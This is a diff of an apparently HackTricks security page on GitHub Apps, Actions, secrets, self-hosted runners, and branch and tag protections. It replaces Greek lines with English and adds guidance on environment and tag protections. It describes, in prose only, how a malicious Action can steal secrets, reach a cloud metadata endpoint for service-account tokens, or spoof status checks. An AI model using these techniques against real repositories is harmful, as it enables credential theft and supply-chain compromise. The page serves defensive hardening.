- Μπορείτε να δείτε τις εγκατεστημένες εφαρμογές σε μια **οργάνωση** στο _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
- Για να εγκαταστήσετε ένα GitHub App, πρέπει να είστε **organisation owner ή να έχετε admin permissions** σε ένα repository.
|
||||
- Το GitHub App θα πρέπει να **συνδεθεί σε έναν προσωπικό λογαριασμό ή σε μια organization**.
|
||||
- Μπορείτε να δημιουργήσετε τη δική σας Github application στο [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Μπορείτε να δείτε όλες τις **Github applications που έχουν πρόσβαση στον λογαριασμό σας** στο [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Αυτά είναι τα **API Endpoints για Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Ανάλογα με τα permissions της App θα μπορεί να έχει πρόσβαση σε κάποια από αυτά.
|
||||
- Μπορείτε να δείτε εγκατεστημένες apps σε μια **organization** στο _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Ορισμένες συστάσεις ασφαλείας:
|
||||
Κάποιες συστάσεις ασφαλείας:
|
||||
|
||||
- Μια εφαρμογή GitHub θα πρέπει να **λαμβάνει ενέργειες ανεξάρτητα από έναν χρήστη** (εκτός αν η εφαρμογή χρησιμοποιεί ένα [token χρήστη προς διακομιστή](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Για να διατηρήσετε τα tokens πρόσβασης χρήστη προς διακομιστή πιο ασφαλή, μπορείτε να χρησιμοποιήσετε tokens πρόσβασης που θα λήγουν μετά από 8 ώρες και ένα refresh token που μπορεί να ανταλλαγεί για ένα νέο token πρόσβασης. Για περισσότερες πληροφορίες, δείτε "[Ανανέωση tokens πρόσβασης χρήστη προς διακομιστή](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Βεβαιωθείτε ότι η εφαρμογή GitHub ενσωματώνεται με **συγκεκριμένους αποθετηρίους**.
|
||||
- Η εφαρμογή GitHub θα πρέπει να **συνδεθεί με έναν προσωπικό λογαριασμό ή μια οργάνωση**.
|
||||
- Μην περιμένετε από την εφαρμογή GitHub να γνωρίζει και να κάνει τα πάντα που μπορεί να κάνει ένας χρήστης.
|
||||
- **Μην χρησιμοποιείτε μια εφαρμογή GitHub αν χρειάζεστε απλώς μια υπηρεσία "Σύνδεση με το GitHub"**. Αλλά μια εφαρμογή GitHub μπορεί να χρησιμοποιήσει μια [ροή ταυτοποίησης χρήστη](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) για να συνδέσει τους χρήστες _και_ να κάνει άλλες ενέργειες.
|
||||
- Μην δημιουργείτε μια εφαρμογή GitHub αν _μόνο_ θέλετε να ενεργείτε ως χρήστης GitHub και να κάνετε τα πάντα που μπορεί να κάνει αυτός ο χρήστης.
|
||||
- Εάν χρησιμοποιείτε την εφαρμογή σας με τις ενέργειες GitHub και θέλετε να τροποποιήσετε τα αρχεία ροής εργασίας, πρέπει να αυθεντικοποιηθείτε εκ μέρους του χρήστη με ένα token OAuth που περιλαμβάνει το `workflow` scope. Ο χρήστης πρέπει να έχει δικαιώματα διαχειριστή ή εγγραφής στο αποθετήριο που περιέχει το αρχείο ροής εργασίας. Για περισσότερες πληροφορίες, δείτε "[Κατανόηση των τομέων για τις εφαρμογές OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Περισσότερα** εδώ [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- Μια GitHub App πρέπει να **εκτελεί ενέργειες ανεξάρτητα από έναν χρήστη** (εκτός αν η εφαρμογή χρησιμοποιεί ένα [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Για να διατηρήσετε πιο ασφαλή τα user-to-server access tokens, μπορείτε να χρησιμοποιήσετε access tokens που λήγουν μετά από 8 ώρες, και ένα refresh token που μπορεί να ανταλλαχθεί για νέο access token. Για περισσότερες πληροφορίες, δείτε "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Βεβαιωθείτε ότι το GitHub App ενσωματώνεται με **συγκεκριμένα repositories**.
|
||||
- Το GitHub App θα πρέπει να **συνδεθεί σε έναν προσωπικό λογαριασμό ή σε μια organization**.
|
||||
- Μην περιμένετε ότι το GitHub App γνωρίζει και κάνει τα πάντα που μπορεί να κάνει ένας χρήστης.
|
||||
- **Μη** χρησιμοποιείτε ένα GitHub App αν απλώς χρειάζεστε μια υπηρεσία "Login with GitHub". Αλλά ένα GitHub App μπορεί να χρησιμοποιήσει μια [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) για να συνδεθεί χρήστες _και_ να κάνει άλλα πράγματα.
|
||||
- Μην δημιουργείτε ένα GitHub App αν _μόνο_ θέλετε να ενεργείτε ως ένας GitHub user και να κάνετε ό,τι μπορεί να κάνει αυτός ο χρήστης.
|
||||
- Εάν χρησιμοποιείτε την εφαρμογή σας με GitHub Actions και θέλετε να τροποποιήσετε workflow αρχεία, πρέπει να αυθεντικοποιηθείτε εκ μέρους του χρήστη με ένα OAuth token που περιλαμβάνει το scope `workflow`. Ο χρήστης πρέπει να έχει admin ή write permission στο repository που περιέχει το workflow αρχείο. Για περισσότερες πληροφορίες, δείτε "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Περισσότερα** στο [εδώ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Ενέργειες Github
|
||||
### Github Actions
|
||||
|
||||
Αυτή **δεν είναι ένας τρόπος αυθεντικοποίησης στο github**, αλλά μια **κακόβουλη** ενέργεια Github θα μπορούσε να αποκτήσει **μη εξουσιοδοτημένη πρόσβαση στο github** και **ανάλογα** με τα **δικαιώματα** που έχουν δοθεί στην ενέργεια, θα μπορούσαν να γίνουν αρκετές **διαφορετικές επιθέσεις**. Δείτε παρακάτω για περισσότερες πληροφορίες.
|
||||
Αυτό **δεν είναι τρόπος για authentication στο github**, αλλά μια **κακόβουλη** Github Action θα μπορούσε να αποκτήσει **μη εξουσιοδοτημένη πρόσβαση στο github** και **ανάλογα** με τα **privileges** που δίνονται στην Action διάφορες **επιθέσεις** μπορούν να γίνουν. Δείτε παρακάτω για περισσότερες πληροφορίες.
|
||||
|
||||
## Ενέργειες Git
|
||||
## Git Actions
|
||||
|
||||
Οι ενέργειες Git επιτρέπουν την αυτοματοποίηση της **εκτέλεσης κώδικα όταν συμβαίνει ένα γεγονός**. Συνήθως, ο εκτελούμενος κώδικας είναι **κάπως σχετικός με τον κώδικα του αποθετηρίου** (ίσως να δημιουργήσει ένα κοντέινερ docker ή να ελέγξει ότι το PR δεν περιέχει μυστικά).
|
||||
Το Git actions επιτρέπει την αυτοματοποίηση της **εκτέλεσης κώδικα όταν συμβαίνει ένα event**. Συνήθως ο κώδικας που εκτελείται είναι **κάπως σχετικός με τον κώδικα του repository** (π.χ. να δημιουργήσει ένα docker container ή να ελέγξει ότι το PR δεν περιέχει secrets).
|
||||
|
||||
### Διαμόρφωση
|
||||
### Configuration
|
||||
|
||||
Στο _https://github.com/organizations/\<org_name>/settings/actions_ είναι δυνατό να ελέγξετε τη **διαμόρφωση των ενεργειών github** για την οργάνωση.
|
||||
Στο _https://github.com/organizations/\<org_name>/settings/actions_ είναι δυνατό να ελέγξετε τη **διαμόρφωση των github actions** για την organization.
|
||||
|
||||
Είναι δυνατόν να απαγορεύσετε τη χρήση των ενεργειών github εντελώς, **να επιτρέψετε όλες τις ενέργειες github**, ή να επιτρέψετε μόνο ορισμένες ενέργειες.
|
||||
Είναι δυνατό να απαγορεύσετε τη χρήση των github actions εντελώς, να **επιτρέψετε όλες τις github actions**, ή να επιτρέψετε μόνο ορισμένες actions.
|
||||
|
||||
Είναι επίσης δυνατό να διαμορφώσετε **ποιος χρειάζεται έγκριση για να εκτελέσει μια ενέργεια Github** και τα **δικαιώματα του GITHUB_TOKEN** μιας ενέργειας Github όταν εκτελείται.
|
||||
Είναι επίσης δυνατό να διαμορφώσετε **ποιος χρειάζεται έγκριση για να τρέξει μια Github Action** και τα **permissions του GITHUB_TOKEN** μιας Github Action όταν εκτελείται.
|
||||
|
||||
### Μυστικά Git
|
||||
### Git Secrets
|
||||
|
||||
Οι ενέργειες Github συνήθως χρειάζονται κάποιο είδος μυστικών για να αλληλεπιδράσουν με το github ή τρίτες εφαρμογές. Για να **αποφύγετε να τα βάλετε σε καθαρό κείμενο** στο αποθετήριο, το github επιτρέπει να τα βάλετε ως **Μυστικά**.
|
||||
Οι Github Action συνήθως χρειάζονται κάποια μορφή secrets για να αλληλεπιδράσουν με το github ή τρίτες εφαρμογές. Για να **αποφύγετε την αποθήκευσή τους σε clear-text** στο repo, το github επιτρέπει να τα αποθηκεύετε ως **Secrets**.
|
||||
|
||||
Αυτά τα μυστικά μπορούν να διαμορφωθούν **για το αποθετήριο ή για όλη την οργάνωση**. Στη συνέχεια, προκειμένου η **Ενέργεια να μπορεί να έχει πρόσβαση στο μυστικό**, πρέπει να το δηλώσετε ως εξής:
|
||||
Αυτά τα secrets μπορούν να ρυθμιστούν **για το repo ή για ολόκληρη την organization**. Στη συνέχεια, για να μπορέσει η **Action να έχει πρόσβαση στο secret** πρέπει να το δηλώσετε έτσι:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
@@ -159,7 +159,7 @@ super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
#### Παράδειγμα χρησιμοποιώντας Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
#### Παράδειγμα χρήσης Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
@@ -168,75 +168,90 @@ run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
> [!WARNING]
|
||||
> Τα μυστικά **μπορούν να προσπελαστούν μόνο από τις Github Actions** που τα έχουν δηλωμένα.
|
||||
> Secrets **μπορούν να προσπελαστούν μόνο από τα Github Actions** που τα έχουν δηλώσει.
|
||||
|
||||
> Μόλις ρυθμιστούν στο repo ή στις οργανώσεις, **οι χρήστες του github δεν θα μπορούν να τα προσπελάσουν ξανά**, θα μπορούν μόνο να **τα αλλάξουν**.
|
||||
> Μόλις ρυθμιστούν στο repo ή στον οργανισμό **οι χρήστες του github δεν θα μπορούν να τα προσπελάσουν ξανά**, θα μπορούν μόνο να **τα αλλάξουν**.
|
||||
|
||||
Επομένως, ο **μόνος τρόπος να κλέψετε τα μυστικά του github είναι να μπορείτε να έχετε πρόσβαση στη μηχανή που εκτελεί την Github Action** (σε αυτή την περίπτωση θα μπορείτε να έχετε πρόσβαση μόνο στα μυστικά που έχουν δηλωθεί για την Action).
|
||||
Συνεπώς, **ο μόνος τρόπος για να κλέψεις τα github secrets είναι να έχεις πρόσβαση στη μηχανή που εκτελεί το Github Action** (σε αυτό το σενάριο θα μπορείς να προσπελάσεις μόνο τα secrets που έχουν δηλωθεί για το Action).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Το Github επιτρέπει τη δημιουργία **περιβαλλόντων** όπου μπορείτε να αποθηκεύσετε **μυστικά**. Στη συνέχεια, μπορείτε να δώσετε στην github action πρόσβαση στα μυστικά μέσα στο περιβάλλον με κάτι σαν:
|
||||
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
Μπορείτε να ρυθμίσετε ένα περιβάλλον να είναι **προσβάσιμο** από **όλα τα branches** (προεπιλογή), **μόνο από προστατευμένα** branches ή να **καθορίσετε** ποια branches μπορούν να έχουν πρόσβαση σε αυτό.\
|
||||
Μπορεί επίσης να ορίσει έναν **αριθμό απαιτούμενων αναθεωρήσεων** πριν από την **εκτέλεση** μιας **ενέργειας** χρησιμοποιώντας ένα **περιβάλλον** ή να **περιμένει** κάποιο **χρόνο** πριν επιτρέψει τις αναπτύξεις να προχωρήσουν.
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
Additionally, environment protections include:
|
||||
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
|
||||
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
|
||||
- **Wait timer**: delay deployments for a configurable period.
|
||||
|
||||
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
|
||||
### Git Action Runner
|
||||
|
||||
Μια Github Action μπορεί να **εκτελείται μέσα στο περιβάλλον github** ή μπορεί να εκτελείται σε μια **υποδομή τρίτου μέρους** που έχει ρυθμιστεί από τον χρήστη.
|
||||
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
|
||||
|
||||
Πολλές οργανώσεις θα επιτρέψουν την εκτέλεση Github Actions σε μια **υποδομή τρίτου μέρους** καθώς συνήθως είναι **φθηνότερη**.
|
||||
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
|
||||
|
||||
Μπορείτε να **καταγράψετε τους αυτο-φιλοξενούμενους runners** μιας οργάνωσης στο _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
Ο τρόπος για να βρείτε ποιες **Github Actions εκτελούνται σε μη github υποδομή** είναι να αναζητήσετε το `runs-on: self-hosted` στη διαμόρφωση yaml της Github Action.
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
|
||||
|
||||
Δεν είναι **δυνατό να εκτελέσετε μια Github Action μιας οργάνωσης μέσα σε ένα αυτο-φιλοξενούμενο box** μιας διαφορετικής οργάνωσης επειδή **δημιουργείται ένα μοναδικό token για τον Runner** κατά την ρύθμισή του για να γνωρίζει πού ανήκει ο runner.
|
||||
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
|
||||
|
||||
Εάν ο προσαρμοσμένος **Github Runner είναι ρυθμισμένος σε μια μηχανή μέσα σε AWS ή GCP** για παράδειγμα, η Action **μπορεί να έχει πρόσβαση στο endpoint μεταδεδομένων** και να **κλέψει το token του λογαριασμού υπηρεσίας** με τον οποίο λειτουργεί η μηχανή.
|
||||
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
Εάν όλες οι ενέργειες (ή μια κακόβουλη ενέργεια) επιτρέπονται, ένας χρήστης θα μπορούσε να χρησιμοποιήσει μια **Github action** που είναι **κακόβουλη** και θα **συμβιβάσει** το **container** όπου εκτελείται.
|
||||
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
|
||||
|
||||
> [!CAUTION]
|
||||
> Μια **κακόβουλη Github Action** που εκτελείται θα μπορούσε να **καταχραστεί** από τον επιτιθέμενο για να:
|
||||
> A **malicious Github Action** run could be **abused** by the attacker to:
|
||||
>
|
||||
> - **Κλέψει όλα τα μυστικά** στα οποία έχει πρόσβαση η Action
|
||||
> - **Μετακινηθεί οριζόντια** εάν η Action εκτελείται μέσα σε μια **υποδομή τρίτου μέρους** όπου το SA token που χρησιμοποιείται για την εκτέλεση της μηχανής μπορεί να προσπελαστεί (πιθανώς μέσω της υπηρεσίας μεταδεδομένων)
|
||||
> - **Καταχραστεί το token** που χρησιμοποιείται από το **workflow** για να **κλέψει τον κώδικα του repo** όπου εκτελείται η Action ή **ακόμα και να τον τροποποιήσει**.
|
||||
> - **Steal all the secrets** the Action has access to
|
||||
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
|
||||
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Οι προστασίες branches έχουν σχεδιαστεί για να **μην δίνουν πλήρη έλεγχο ενός αποθετηρίου** στους χρήστες. Ο στόχος είναι να **θέσουν αρκετές μεθόδους προστασίας πριν μπορέσουν να γράψουν κώδικα μέσα σε κάποιο branch**.
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
|
||||
Οι **προστασίες branches ενός αποθετηρίου** μπορούν να βρεθούν στο _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> Δεν είναι **δυνατό να ορίσετε μια προστασία branch σε επίπεδο οργάνωσης**. Έτσι, όλες τους πρέπει να δηλωθούν σε κάθε repo.
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
|
||||
Διαφορετικές προστασίες μπορούν να εφαρμοστούν σε ένα branch (όπως στο master):
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- Μπορείτε να **απαιτήσετε μια PR πριν από τη συγχώνευση** (έτσι δεν μπορείτε να συγχωνεύσετε απευθείας κώδικα πάνω στο branch). Εάν αυτό επιλεγεί, διαφορετικές άλλες προστασίες μπορούν να ισχύουν:
|
||||
- **Απαιτήστε έναν αριθμό εγκρίσεων**. Είναι πολύ συνηθισμένο να απαιτείται 1 ή 2 περισσότερα άτομα να εγκρίνουν την PR σας ώστε ένας μόνο χρήστης να μην μπορεί να συγχωνεύσει κώδικα απευθείας.
|
||||
- **Ανακαλέστε τις εγκρίσεις όταν προστεθούν νέες δεσμεύσεις**. Διαφορετικά, ένας χρήστης μπορεί να εγκρίνει νόμιμο κώδικα και στη συνέχεια ο χρήστης θα μπορούσε να προσθέσει κακόβουλο κώδικα και να τον συγχωνεύσει.
|
||||
- **Απαιτήστε αναθεωρήσεις από τους Code Owners**. Τουλάχιστον 1 κάτοχος κώδικα του repo πρέπει να εγκρίνει την PR (έτσι οι "τυχαίοι" χρήστες δεν μπορούν να την εγκρίνουν)
|
||||
- **Περιορίστε ποιοι μπορούν να ανακαλέσουν τις αναθεωρήσεις αιτημάτων έλξης.** Μπορείτε να καθορίσετε άτομα ή ομάδες που επιτρέπεται να ανακαλέσουν τις αναθεωρήσεις αιτημάτων έλξης.
|
||||
- **Επιτρέψτε σε καθορισμένους ηθοποιούς να παρακάμψουν τις απαιτήσεις αιτημάτων έλξης**. Αυτοί οι χρήστες θα μπορούν να παρακάμψουν τους προηγούμενους περιορισμούς.
|
||||
- **Απαιτήστε οι έλεγχοι κατάστασης να περάσουν πριν από τη συγχώνευση.** Ορισμένοι έλεγχοι πρέπει να περάσουν πριν μπορέσετε να συγχωνεύσετε τη δέσμευση (όπως μια github action που ελέγχει ότι δεν υπάρχει κανένα μυστικό σε καθαρό κείμενο).
|
||||
- **Απαιτήστε την επίλυση συνομιλιών πριν από τη συγχώνευση**. Όλα τα σχόλια στον κώδικα πρέπει να έχουν επιλυθεί πριν μπορέσει να συγχωνευθεί η PR.
|
||||
- **Απαιτήστε υπογεγραμμένες δεσμεύσεις**. Οι δεσμεύσεις πρέπει να είναι υπογεγραμμένες.
|
||||
- **Απαιτήστε γραμμική ιστορία.** Αποτρέψτε τις συγχωνεύσεις δεσμεύσεων να αποστέλλονται σε αντίστοιχα branches.
|
||||
- **Συμπεριλάβετε τους διαχειριστές**. Εάν αυτό δεν έχει ρυθμιστεί, οι διαχειριστές μπορούν να παρακάμψουν τους περιορισμούς.
|
||||
- **Περιορίστε ποιοι μπορούν να στείλουν σε αντίστοιχα branches**. Περιορίστε ποιοι μπορούν να στείλουν μια PR.
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
|
||||
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
|
||||
- **Restrict who can push to matching branches**. Restrict who can send a PR.
|
||||
|
||||
> [!NOTE]
|
||||
> Όπως μπορείτε να δείτε, ακόμη και αν καταφέρατε να αποκτήσετε κάποια διαπιστευτήρια ενός χρήστη, **τα repos μπορεί να είναι προστατευμένα αποτρέποντάς σας να στείλετε κώδικα στο master** για παράδειγμα για να συμβιβάσετε την CI/CD pipeline.
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
|
||||
## Tag Protections
|
||||
|
||||
Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
|
||||
|
||||
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
|
||||
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
|
||||
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
|
||||
|
||||
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
|
||||
|
||||
## References
|
||||
|
||||
@@ -245,5 +260,10 @@ environment: env_name
|
||||
- [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
|
||||
- [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
|
||||
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
|
||||
- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
|
||||
- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
|
||||
- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
|
||||
- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user